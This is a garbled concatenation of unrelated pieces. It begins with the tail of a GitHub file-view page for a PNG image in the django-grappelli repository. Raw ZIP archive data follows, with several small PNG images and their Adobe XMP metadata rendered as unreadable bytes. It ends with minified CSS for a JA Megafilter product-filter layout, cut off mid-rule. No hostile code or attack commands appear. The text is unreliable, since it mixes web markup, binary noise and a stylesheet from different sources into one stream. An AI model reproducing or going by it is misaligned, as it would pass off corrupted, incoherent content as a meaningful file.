5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.2">
2.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.1.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.1.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.1.1">
2.1.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.1">
2.1
</span>
</a>
</div>
<div class="select-menu-no-results">Nothing to
show</div>
</div>
</div>
</div>
</div>
<div class="BtnGroup float-right">
<a href="/sehmaschine/django-grappelli/find/grappelli_2_4"
class="js-pjax-capture-input btn btn-sm BtnGroup-item"
data-pjax
data-hotkey="t">
Find file
</a>
<button aria-label="Copy file path to clipboard"
class="js-zeroclipboard btn btn-sm BtnGroup-item tooltipped
tooltipped-s" data-copied-hint="Copied!"
type="button">Copy path</button>
</div>
<div class="breadcrumb js-zeroclipboard-target">
<span class="repo-root js-repo-root"><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4"><span>django-grappelli</span></a></span></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli"><span>grappelli</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static"><span>static</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli"><span>grappelli</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery"><span>jquery</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui"><span>ui</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css"><span>css</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme"><span>custom-theme</span></a></span><span
class="separator">/</span><span
class="js-path-segment"><a
href="/sehmaschine/django-grappelli/tree/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images"><span>images</span></a></span><span
class="separator">/</span><strong
class="final-path">ui-bg_highlight-soft_75_cccccc_1x100.png</strong>
</div>
</div>
<include-fragment class="commit-tease"
src="/sehmaschine/django-grappelli/contributors/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png">
<div>
Fetching contributors…
</div>
<div class="commit-tease-contributors">
<img alt="" class="loader-loading float-left"
height="16"
src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32-EAF2F5.gif"
width="16" />
<span class="loader-error">Cannot retrieve contributors
at this time</span>
</div>
</include-fragment>
<div class="file">
<div class="file-header">
<div class="file-actions">
<div class="BtnGroup">
<a
href="/sehmaschine/django-grappelli/raw/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="btn btn-sm BtnGroup-item"
id="raw-url">Download</a>
<a
href="/sehmaschine/django-grappelli/commits/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="btn btn-sm BtnGroup-item"
rel="nofollow">History</a>
</div>
<a class="btn-octicon tooltipped tooltipped-nw"
href="https://windows.github.com"
aria-label="Open this file in GitHub Desktop"
data-ga-click="Repository, open with desktop,
type:windows">
<svg aria-hidden="true" class="octicon
octicon-device-desktop" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1
1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0
1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"/></svg>
</a>
<!-- '"` --><!-- </textarea></xmp>
--></option></form><form accept-charset="UTF-8"
action="/sehmaschine/django-grappelli/delete/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="inline-form" method="post"><div
style="margin:0;padding:0;display:inline"><input
name="utf8" type="hidden"
value="✓" /><input
name="authenticity_token" type="hidden"
value="jk2499mD08rkmlu6TMgIGHgNOLFjSE8+KRZLajjIRZABpeGykfliFO3ILZTu4uRUeQFnUu3SyDBZEU+LUMJW3g=="
/></div>
<button class="btn-octicon btn-octicon-danger tooltipped
tooltipped-nw" type="submit"
aria-label="You must be signed in to make or propose
changes" data-disable-with>
<svg aria-hidden="true" class="octicon
octicon-trashcan" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1
.45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45
1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1
12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
</button>
</form> </div>
<div class="file-info">
<span class="file-mode" title="File
mode">executable file</span>
<span class="file-info-divider"></span>
101 Bytes
</div>
</div>
<div itemprop="text" class="blob-wrapper data
type-text">
<div class="image">
<span class="border-wrap"><img
src="/sehmaschine/django-grappelli/blob/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png?raw=true"
alt="ui-bg_highlight-soft_75_cccccc_1x100.png"></span>
</div>
</div>
</div>
<button type="button" data-facebox="#jump-to-line"
data-facebox-class="linejump" data-hotkey="l"
class="d-none">Jump to Line</button>
<div id="jump-to-line" style="display:none">
<!-- '"` --><!-- </textarea></xmp>
--></option></form><form accept-charset="UTF-8"
action="" class="js-jump-to-line-form"
method="get"><div
style="margin:0;padding:0;display:inline"><input
name="utf8" type="hidden"
value="✓" /></div>
<input class="form-control linejump-input
js-jump-to-line-field" type="text" placeholder="Jump to
line…" aria-label="Jump to line" autofocus>
<button type="submit"
class="btn">Go</button>
</form></div>
</div>
<div class="modal-backdrop js-touch-events"></div>
</div>
</div>
</div>
</div>
<div class="container site-footer-container">
<div class="site-footer" role="contentinfo">
<ul class="site-footer-links float-right">
<li><a href="https://github.com/contact"
data-ga-click="Footer, go to contact, text:contact">Contact
GitHub</a></li>
<li><a href="https://developer.github.com"
data-ga-click="Footer, go to api,
text:api">API</a></li>
<li><a href="https://training.github.com"
data-ga-click="Footer, go to training,
text:training">Training</a></li>
<li><a href="https://shop.github.com"
data-ga-click="Footer, go to shop,
text:shop">Shop</a></li>
<li><a href="https://github.com/blog"
data-ga-click="Footer, go to blog,
text:blog">Blog</a></li>
<li><a href="https://github.com/about"
data-ga-click="Footer, go to about,
text:about">About</a></li>
</ul>
<a href="https://github.com"
aria-label="Homepage" class="site-footer-mark"
title="GitHub">
<svg aria-hidden="true" class="octicon
octicon-mark-github" height="24" version="1.1"
viewBox="0 0 16 16" width="24"><path
fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29
6.53 5.47 7.59.4.07.55-.17.55-.38
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01
1.08.58 1.23.82.72 1.21 1.87.87
2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95
0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18
1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16
1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65
3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013
8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
</a>
<ul class="site-footer-links">
<li>© 2017 <span title="0.07571s from
github-fe116-cp1-prd.iad.github.net">GitHub</span>,
Inc.</li>
<li><a href="https://github.com/site/terms"
data-ga-click="Footer, go to terms,
text:terms">Terms</a></li>
<li><a href="https://github.com/site/privacy"
data-ga-click="Footer, go to privacy,
text:privacy">Privacy</a></li>
<li><a href="https://github.com/security"
data-ga-click="Footer, go to security,
text:security">Security</a></li>
<li><a href="https://status.github.com/"
data-ga-click="Footer, go to status,
text:status">Status</a></li>
<li><a href="https://help.github.com"
data-ga-click="Footer, go to help,
text:help">Help</a></li>
</ul>
</div>
</div>
<div id="ajax-error-message"
class="ajax-error-message flash flash-error">
<svg aria-hidden="true" class="octicon
octicon-alert" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M8.865
1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1
.19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865
1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
<button type="button" class="flash-close
js-flash-close js-ajax-error-dismiss" aria-label="Dismiss
error">
<svg aria-hidden="true" class="octicon
octicon-x" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6
9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48
1.48z"/></svg>
</button>
You can't perform that action at this time.
</div>
<script crossorigin="anonymous"
integrity="sha256-uzmufYSNQNbwHmc1XigpZPVPo5E3wOzJ/E7Dfn1GlQg="
src="https://assets-cdn.github.com/assets/frameworks-bb39ae7d848d40d6f01e67355e282964f54fa39137c0ecc9fc4ec37e7d469508.js"></script>
<script async="async" crossorigin="anonymous"
integrity="sha256-eWdDtcNle3lAE930stqMfzh+bw+Bx6YFn7nLg3DHLek="
src="https://assets-cdn.github.com/assets/github-796743b5c3657b794013ddf4b2da8c7f387e6f0f81c7a6059fb9cb8370c72de9.js"></script>
<div class="js-stale-session-flash stale-session-flash flash
flash-warn flash-banner d-none">
<svg aria-hidden="true" class="octicon
octicon-alert" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M8.865
1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1
.19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865
1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
<span class="signed-in-tab-flash">You signed in with
another tab or window. <a href="">Reload</a> to
refresh your session.</span>
<span class="signed-out-tab-flash">You signed out in
another tab or window. <a href="">Reload</a> to
refresh your session.</span>
</div>
<div class="facebox" id="facebox"
style="display:none;">
<div class="facebox-popup">
<div class="facebox-content" role="dialog"
aria-labelledby="facebox-header"
aria-describedby="facebox-description">
</div>
<button type="button" class="facebox-close
js-facebox-close" aria-label="Close modal">
<svg aria-hidden="true" class="octicon
octicon-x" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6
9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48
1.48z"/></svg>
</button>
</div>
</div>
</body>
</html>
PK�v�[1�]55!assets/images/tree-rtl-lv4-bg.pngnu�[����PNG
IHDRUQ�d�LtEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:49389A02E1E611E6BE65B6E166CA362E"
xmpMM:DocumentID="xmp.did:49389A03E1E611E6BE65B6E166CA362E">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:49389A00E1E611E6BE65B6E166CA362E"
stRef:documentID="xmp.did:49389A01E1E611E6BE65B6E166CA362E"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�]��IDATx��۱
�0�1���ɫ8PC!��&��S\:�{ܭ���33�-�B�*�P�
*T��
��B�*�P�
*T��
��B�*�P�BT�P*TA�S�ٰ��˨[W��[��
g�~*T��
��B�*�P�
*T��
��B�*�P�
*T��
*TA�
UP�B����8�pI�IEND�B`�PK�v�[\���HHassets/images/color-stars.pngnu�[����PNG
IHDR�2jtEXtSoftwareAdobe
ImageReadyq�e<siTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmpMM:OriginalDocumentID="xmp.did:c8cdb5f6-2b33-4f95-a2bb-ed05efbb05d3"
xmpMM:DocumentID="xmp.did:84B04A70166611E68195C6716F520107"
xmpMM:InstanceID="xmp.iid:84B04A6F166611E68195C6716F520107"
xmp:CreatorTool="Adobe Photoshop CC (Macintosh)">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:e8f10950-e434-4bf0-860b-dd041bea606f"
stRef:documentID="xmp.did:e8f10950-e434-4bf0-860b-dd041bea606f"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>r��kIDATxڜ��JA�7*q1Sh���JIi��o�#XY���o!
���'P��T*ha���BH���pV�I4���d�=3�Ξ$�
p�<����i���`����>ѯyDW���0O����PG\�,,�4L�F����6�(AF��M4!-J�|w���Ny���,�����t�cG�0��l�2L��T�-4��`Jc�[��k8�UR��w�`
g�z[Z�D�}K����_:�5�
��ꮍ��
���^/��'/!������%�^*+1ۑ�h�U��Sr���H[���g��>�P�s�Ŝn�����K
����P��(j-�ϭ�-��P��TI�[�K�65�V�u�QIEND�B`�PK�v�[Ͽ�DDassets/images/quantity-bg.pngnu�[����PNG
IHDR;0��tEXtSoftwareAdobe
ImageReadyq�e<fiTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmpMM:OriginalDocumentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"
xmpMM:DocumentID="xmp.did:8FC2318BC0EB11E687B8A0D996E9AF6F"
xmpMM:InstanceID="xmp.iid:8FC2318AC0EB11E687B8A0D996E9AF6F"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:15356373E3C0E611A9EFDE7F62CAE490"
stRef:documentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>���8tIDATx��Q
�
C��=SO��d�Î-�)��Uaf%CGIRZ�����FmA�3-�1��L���'O��?N��\��uH�{�[5䘴���T��Eφw�kg�_�]:��$8�k?IEND�B`�PK�v�[���*$$assets/images/plus.pngnu�[����PNG
IHDR;֕JtEXtSoftwareAdobe
ImageReadyq�e<fiTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmpMM:OriginalDocumentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"
xmpMM:DocumentID="xmp.did:11C8E346C0EB11E684D0F58668726D73"
xmpMM:InstanceID="xmp.iid:11C8E345C0EB11E684D0F58668726D73"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:15356373E3C0E611A9EFDE7F62CAE490"
stRef:documentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>QR��TIDATx�̒A
�课��ZG���Q�Y!"�9(-�;_ɂ�=�#�m��.̌��ֶ�Z�u�u��=m�GTn��ߎ�,��
�P�IEND�B`�PK�v�[ߞ[�r�rassets/css/style.cssnu�[���:root{--ja-mf-primary:#2196f3;--ja-mf-success:#2196f3;--ja-mf-info:#2196f3;--ja-mf-warning:#2196f3;--ja-mf-border:#dbdbdb;--ja-mf-spacing:8px;--ja-mf-border-radius:4px;--ja-mf-trans-base:all
0.25s
ease}.ja-megafilter-wrap.row{margin-left:-15px;margin-right:-15px}.ja-megafilter-wrap,.ja-megafilter-wrap
*{-webkit-box-sizing:border-box;box-sizing:border-box}.ja-megafilter-wrap
.main-content{float:right;padding-left:15px;padding-right:15px;width:75%}.ja-megafilter-wrap
.sidebar-main{padding-left:15px;padding-right:15px;width:25%;float:left}.ja-megafilter-wrap
.sidebar-main .sidebar-toggle{display:none}#myProgress{width:97%;margin:0
auto}#myProgress
#myBar{width:0%;background-color:#ddd;height:3px;-webkit-transition:width
500ms ease;-o-transition:width 500ms ease;transition:width 500ms
ease}#myProgress
#percentBar{text-align:center;font-size:13px}.loading_layer{width:100%;height:100%;z-index:10;overflow:hidden;background:#ffffff;opacity:0.6;filter:alpha(opacity=60)}#loader{display:block;width:150px;height:150px;margin:0
auto;border-radius:50%;border:3px solid
transparent;border-top-color:#16a085;-webkit-animation:spin 1.7s linear
infinite;animation:spin 1.7s linear
infinite;z-index:11}#loader:before{content:"";position:absolute;top:5px;left:5px;right:5px;bottom:5px;border-radius:50%;border:3px
solid transparent;border-top-color:#e74c3c;-webkit-animation:spin-reverse
0.6s linear infinite;animation:spin-reverse 0.6s linear
infinite}#loader:after{content:"";position:absolute;top:15px;left:15px;right:15px;bottom:15px;border-radius:50%;border:3px
solid transparent;border-top-color:#f9c922;-webkit-animation:spin 1s linear
infinite;animation:spin 1s linear infinite}@-webkit-keyframes
spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes
spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes
spin-reverse{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}@keyframes
spin-reverse{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}.sb-horizontal.ja-mg-sidebar{float:none;width:auto}.sb-horizontal.ja-mg-sidebar
.filter-options{margin-left:-10px;margin-right:-10px}.sb-horizontal.ja-mg-sidebar
.filter-options:after{content:"";display:table;clear:both}.sb-horizontal.ja-mg-sidebar
.filter-options .filter-field{margin:0 0 20px;float:left;width:33.3%}@media
screen and (max-width:768px){.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field{width:50%}}@media screen and
(max-width:640px){.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field{width:100%}}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field
.filter-options-title{margin-bottom:-13px;padding-left:30px}.sb-horizontal.ja-mg-sidebar
.filter-options .filter-field .filter-options-title
span{padding-left:15px;padding-right:15px}.sb-horizontal.ja-mg-sidebar
.filter-options .filter-field .filter-options-title
span:after{display:none}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field .filter-options-title
span:hover{cursor:default}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field .filter-options-content{background-color:rgba(255, 255, 255,
0.5);border:1px solid #ddd;min-height:150px;height:auto;margin:0
10px;padding:30px 20px 20px}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field
.filter-options-content:not(.filter-dropdown){overflow-y:auto;height:150px}.sb-horizontal.ja-mg-sidebar
#jamegafilter-search-btn{border-radius:0;-webkit-box-shadow:none;box-shadow:none;text-transform:uppercase;font-weight:600;letter-spacing:1px}.ja-megafilter-wrap.sb-horizontal
.main-content{float:none;width:100%}.main-content.full-width{width:100%!important}.products-toolbar
.pagination{margin:0 0 calc(var(--ja-mf-spacing) * 2)
auto;overflow:hidden}@media (min-width:768px){.products-toolbar
.pagination{margin-bottom:0;margin-left:0}}.products-toolbar
.pagination>li{display:block;float:left;padding:0
5px;overflow:hidden}.products-toolbar
.pagination>li>a,.products-toolbar
.pagination>li>span{border:0;border-bottom:2px solid
transparent;color:#616161;display:block;float:none;line-height:1;margin:0;padding:8px
2px;text-transform:uppercase}.products-toolbar
.pagination>li>a:active,.products-toolbar
.pagination>li>a:focus,.products-toolbar
.pagination>li>a:hover,.products-toolbar
.pagination>li>span:active,.products-toolbar
.pagination>li>span:focus,.products-toolbar
.pagination>li>span:hover{background-color:transparent;border-color:#9e9e9e}.products-toolbar
.pagination>li.active>a{background-color:transparent;border-color:#2196f3;font-weight:bold}.products-toolbar
.pagination>li.active>a:active,.products-toolbar
.pagination>li.active>a:focus,.products-toolbar
.pagination>li.active>a:hover{color:#2196f3}.products-toolbar
.pagination>li:first-child a,.products-toolbar
.pagination>li:first-child span,.products-toolbar
.pagination>li:last-child a,.products-toolbar
.pagination>li:last-child span{border-radius:0}.products-toolbar
.pagination>li.disabled a{color:#ccc}.products-toolbar
.pagination>li.disabled a:active,.products-toolbar
.pagination>li.disabled a:focus,.products-toolbar
.pagination>li.disabled
a:hover{border-color:transparent}.ja-toolbar-wrapper.toolbar-top{margin-bottom:calc(var(--ja-mf-spacing)
* 4)}.products-toolbar
.pagination-wrap{display:-webkit-box;display:-ms-flexbox;display:flex;padding:var(--ja-mf-spacing)
0;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.products-toolbar
.pagination-wrap:after,.products-toolbar
.pagination-wrap:before{display:none}.products-toolbar
.orderby-displaynumber{background-color:#f0f0f0;padding:calc(var(--ja-mf-spacing)
* 1.5) calc(var(--ja-mf-spacing) *
2);position:relative;vertical-align:middle;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}@media
(min-width:768px){.products-toolbar
.orderby-displaynumber{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}}.products-toolbar
.orderby-displaynumber:after,.products-toolbar
.orderby-displaynumber:before{display:none}.products-toolbar
.orderby-displaynumber .limiter{display:inline-block;width:auto}@media
(min-width:768px){.products-toolbar .orderby-displaynumber
.limiter{margin-left:calc(var(--ja-mf-spacing) * 2)}}.products-toolbar
.orderby-displaynumber .limiter
.limiter-options{display:inline-block}@media screen and
(max-width:640px){.products-toolbar .orderby-displaynumber .limiter
.limiter-options{max-width:60px}}.products-toolbar .orderby-displaynumber
.limiter .limiter-label span{padding-left:0}.products-toolbar
.orderby-displaynumber
.toolbar-amount{margin-left:8px;margin-top:0;display:none}@media
(min-width:768px){.products-toolbar .orderby-displaynumber
.toolbar-amount{display:block}}.products-toolbar
#limiter_chzn,.products-toolbar #sorter_chzn,.products-toolbar
.sorter-action,.products-toolbar .sorter-options,.products-toolbar
label{display:inline-block}.products-toolbar span{height:auto;padding:0
5px;vertical-align:middle;width:auto}.products-toolbar
label{font-weight:normal;margin-bottom:0}.products-toolbar
select{border-radius:0;-webkit-box-shadow:none;box-shadow:none}.products-toolbar
.toolbar-sorter{margin-bottom:var(--ja-mf-spacing)}@media
(min-width:992px){.products-toolbar
.toolbar-sorter{margin-bottom:0}}.products-toolbar .toolbar-sorter
.sorter-label{margin-right:var(--ja-mf-spacing)}.products-toolbar
.toolbar-sorter .sorter-action{margin-left:var(--ja-mf-spacing)}@media
screen and (max-width:640px){.products-toolbar .toolbar-sorter
.sorter-options{max-width:120px}}.products-toolbar .toolbar-sorter
.action{background-color:#096;border:0;color:#fff;float:none;height:34px;line-height:30px;padding:0;vertical-align:middle;text-align:center;width:32px}.products-toolbar
.toolbar-sorter .action.sort-asc
.fa-long-arrow-up:before{content:"\f175"}.products-toolbar
.toolbar-amount{background:transparent;border:0;padding:0}.products-toolbar
.toolbar-amount
.toolbar-number{display:inline-block;height:auto;line-height:1;padding:0
5px;width:auto}.products-toolbar
.jamg-layout-chooser{display:none;position:absolute;top:calc(var(--ja-mf-spacing)
* 1.5);right:calc(var(--ja-mf-spacing) * 2)}@media
(min-width:768px){.products-toolbar
.jamg-layout-chooser{display:block}}@media
(min-width:992px){.products-toolbar
.jamg-layout-chooser{position:relative;top:auto;right:auto;margin-left:auto}}.products-toolbar
.jamg-layout-chooser span{background-color:#fff;border:1px solid
#eeeeee;color:#9e9e9e;display:inline-block;height:32px;line-height:32px;margin-left:5px;text-align:center;width:32px}.products-toolbar
.jamg-layout-chooser
span:hover{cursor:pointer;color:#616161}.products-toolbar
.jamg-layout-chooser
span.active{border-color:#2196f3;color:#2196f3}.ja-products-wrapper
.product-items{display:-ms-grid;display:grid;gap:calc(var(--ja-mf-spacing)
*
3);-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;margin-bottom:calc(var(--ja-mf-spacing)
* 3)}.ja-products-wrapper .product-item{min-width:0}.ja-products-wrapper
.product-item .product-item-info{background:#fff;border:1px solid
var(--ja-mf-border);padding:calc(var(--ja-mf-spacing) *
2);height:100%;-webkit-transition:var(--ja-mf-trans-base);-o-transition:var(--ja-mf-trans-base);transition:var(--ja-mf-trans-base)}.ja-products-wrapper
.product-item
.product-item-info:hover{border-color:var(--ja-mf-primary)}.ja-products-wrapper
.product-item .product-item-info table
span.color-item-bg{border-radius:2px;-webkit-box-shadow:0 0 1px rgba(0, 0,
0, 0.2) inset!important;box-shadow:0 0 1px rgba(0, 0, 0, 0.2)
inset!important}.ja-products-wrapper .product-item .product-item-info table
img{max-width:100%}.ja-products-wrapper .product-item
.product-item-info>h4{font-size:14px;font-weight:400}.ja-products-wrapper
.product-item
.item-field{margin-bottom:var(--ja-mf-spacing)}.ja-products-wrapper
.product-item .item-field a{word-wrap:break-word}.ja-products-wrapper
.product-item a.product-item-photo{position:relative}.ja-products-wrapper
.product-item a.product-item-photo img{max-width:100%}.ja-products-wrapper
.product-item a.product-item-photo
.product-image-badge{position:absolute;top:10px;right:10px}.ja-products-wrapper
.product-item .name{margin-bottom:calc(var(--ja-mf-spacing) *
1.5)}.ja-products-wrapper .product-item
.product-item-name{font-size:120%;font-weight:500;margin:0;line-height:1.3}.ja-products-wrapper
.product-item .desc{margin-bottom:calc(var(--ja-mf-spacing) *
1.5)}.ja-products-wrapper .product-item
.price-box{font-weight:500;font-size:15px}.ja-products-wrapper
.product-item .price-box
.old_price{color:#9e9e9e;margin-right:10px;text-decoration:line-through}.ja-products-wrapper
.product-item .product-item-actions
